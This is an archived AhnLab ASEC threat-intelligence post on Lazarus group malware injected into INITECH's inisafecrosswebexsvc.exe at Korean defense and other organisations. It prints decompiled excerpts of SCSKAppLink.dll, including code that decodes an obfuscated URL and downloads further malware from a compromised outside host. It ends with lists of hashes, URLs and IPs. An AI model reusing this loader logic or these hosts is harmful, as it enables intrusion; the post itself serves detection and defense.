New Malware of Lazarus Threat Actor Group Exploiting INITECH Process - ASEC

By ATCP

Published: 2022-04-17 · Archived: 2026-04-05 15:28:34 UTC

The AhnLab ASEC analysis team has discovered that there are 47 companies and institutions—including defense companies—infected with the malware distributed by the Lazarus group in the first quarter of 2022. Considering the severity of the situation, the team has been monitoring the infection cases.

In systems of the organizations infected with the malware, it was found that malicious behaviors stemmed from the process of INITECH (inisafecrosswebexsvc.exe), the security company.

The team initially secured the following information of inisafecrosswebexsvc.exe from the infected systems.

The executable ‘inisafecrosswebexsvc.exe’ is:

- An executable of INISAFE CrossWeb EX V3, a security program of INITECH.
- A file with hash value that is the same as the normal file (MD5: 4541efd1c54b53a3d11532cb885b2202).
- A file that was normally signed by INITECH.
- A file that was installed by INISAFE Web EX Client before the system was breached, without traces of modifications.

- A file that is run by iniclientsvc_x64.exe when the system is booted. The case was the same for the day when the system was breached.

The confirmed inisafecrosswebexsvc.exe is a normal file that is not modified. Upon checking the history of running processes and the code of SCSKAppLink.dll (malware), it was found that the dll file was injected into inisafecrosswebexsvc.exe to be operated.

SCSKAppLink.dll includes a code that branches depending on the host process for injection. The branch code is designed to access hxxps://materic.or.kr/include/main/main_top.asp?prd_fld=racket to download and run additional malware strains if the dll file is injected into the inisafecrosswebexsvc.exe process to operate.

Other branches check the injection status for svchost.exe, rundll32.exe, and notepad.exe. However, seeing as the branching statements do not include execution codes, it appears that the malware is not a complete one.

inisafecrosswebexsvc.exe injected with SCSKAppLink.dll accessed the URL for malware distribution and downloaded main_top[1].htm (downloader) in the Internet temporary files folder. Then it copied the file to SCSKAppLink.dll.

- Download Path: c:\users\<User>\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm
- Copy Path: C:\Users\Public\SCSKAppLink.dll

```
    hLibModule = hinstDLL;
    GetModuleFileNameW(0, Filename, 0x201u);
    v3 = Filename[0];
    v4 = wcsrchr(Filename, 0x5Cu);
    wcscpy_s(Destination, 0x40u, v4 + 1);
    fn_vswprintf_s(FileName, (wchar_t *)L"%c:\\%s", v3, v22);
    if ( !_wcsicmp(Destination, L"svchost.exe") )
    {
      fn_strcpy(str_arg, L"packNetUpdate", 13);
      goto LABEL_12;
    }
    if ( !_wcsicmp(Destination, L"svchost.exe") )
    {
      fn_strcpy(str_arg, L"natService", 10);
      goto LABEL_12;
    }
    if ( _wcsicmp(Destination, L"rundll32.exe") )
    {
      if ( _wcsicmp(Destination, L"notepad.exe") && _wcsicmp(Destination, str_INISAFECrossWebExSvc_exe) )
      {
        fn_strcpy(str_arg, L"nutPackage", 10);
      }
      else
      {
        fn_strcpy(str_arg, L"nusrmgr", 7);
        fn_vswprintf_s(Buffer, (wchar_t *)L"%c:\\%s", v3, v18);
        fn_vswprintf_s(v13, (wchar_t *)L"%c:\\%s", v3, v20);
      }
LABEL_12:
      if ( GetFileAttributesW(FileName) == -1 ) // "C:\Users\Public\SCSKAppLink.dll"
        fn_strcpy(str_arg, L"natService", 10);
      if ( GetFileAttributesW(Buffer) == -1 && GetFileAttributesW(v13) == -1 )// "C:\Program Files (x86)\INI
                                                                              // "C:\Program Files\INITECH\INISAFE Web EX Client\INISAFECr
        sub_10002A20(str_arg, L"packNetUpdate");
      StartupInfo.cb = 0x44;
```

```
fn_memset(v6, v5);
fn_decStr((wchar_t *)v6, "wdlw_S7SvLBxv");    // "materic.or.kr"
v8 = 0;
fn_memset(v7, v1);
fn_decStr((wchar_t *)v7, "3jdVsOCxqlT9:-1b<xSVcRrbc7?58eDp2XxxGydY9");// "/include/main/main_top.asp?prd_fld=racket"
LOBYTE(v8) = 1;
v4 = sub_100013A0(v7);
v3 = v2;
sub_100013A0(v6);
fn_downFile(v3, v4);                          // "https://materic.or.kr/include/main/main_top.asp?prd_fld=racket"
FreeLibraryAndExitThread(hLibModule, 0);
```

An identical malware type was mentioned in the blog post of Symantec a few days ago. The post titled ‘Lazarus Targets Chemical Sector’ uploaded on April 15th reveals that the Lazarus group attacked the chemical sector. It appears the group is expanding its scope of attack to major Korean companies in sectors such as defense and chemical. (https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical).

AhnLab considers SCSKAppLink.dll as a malware type made by the Lazarus group and is continuously tracking related malware strains. The IOC of the related malware strains discovered so far is as follows:

[File Detection]

- Data/BIN.Encoded
- Downloader/Win.LazarAgent
- Downloader/Win.LazarShell
- HackTool/Win32.Scanner
- Infostealer/Win.Outlook
- Trojan/Win.Agent
- Trojan/Win.Akdoor
- Trojan/Win.LazarBinder
- Trojan/Win.Lazardoor
- Trojan/Win.LazarKeyloger
- Trojan/Win.LazarLoader
- Trojan/Win.LazarPortscan
- Trojan/Win.LazarShell
- Trojan/Win.Zvrek
- Trojan/Win32.Agent

MD5

0775d753aeaebc1cff491e42c8950ec0

0ac90c7ad1be57f705e3c42380cbcccd

0f994f841c54702de0277f19b1ac8c77

196fe14b4ec963ba98bbaf4a23a47aef

1e7d604fadd7d481dfadb66b9313865d

Additional IOCs are available on AhnLab TIP.

URL

http[:]//www[.]h-cube[.]co[.]kr/main/image/gellery/gallery[.]asp

https[:]//materic[.]or[.]kr/include/main/main_top[.]asp?prd_fld=racket

https[:]//www[.]gaonwell[.]com/data/base/mail/login[.]asp

https[:]//www[.]materic[.]or[.]kr/include/main/main_top[.]asp

https[:]//www[.]namchoncc[.]co[.]kr/include/?ind=55

Additional IOCs are available on AhnLab TIP.

IP

112[.]175[.]92[.]56

164[.]125[.]51[.]42

211[.]218[.]150[.]44

49[.]247[.]9[.]177

59[.]8[.]194[.]228

Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to **AhnLab TIP**. For subscription details, click the banner below.

Source: https://asec.ahnlab.com/en/33801/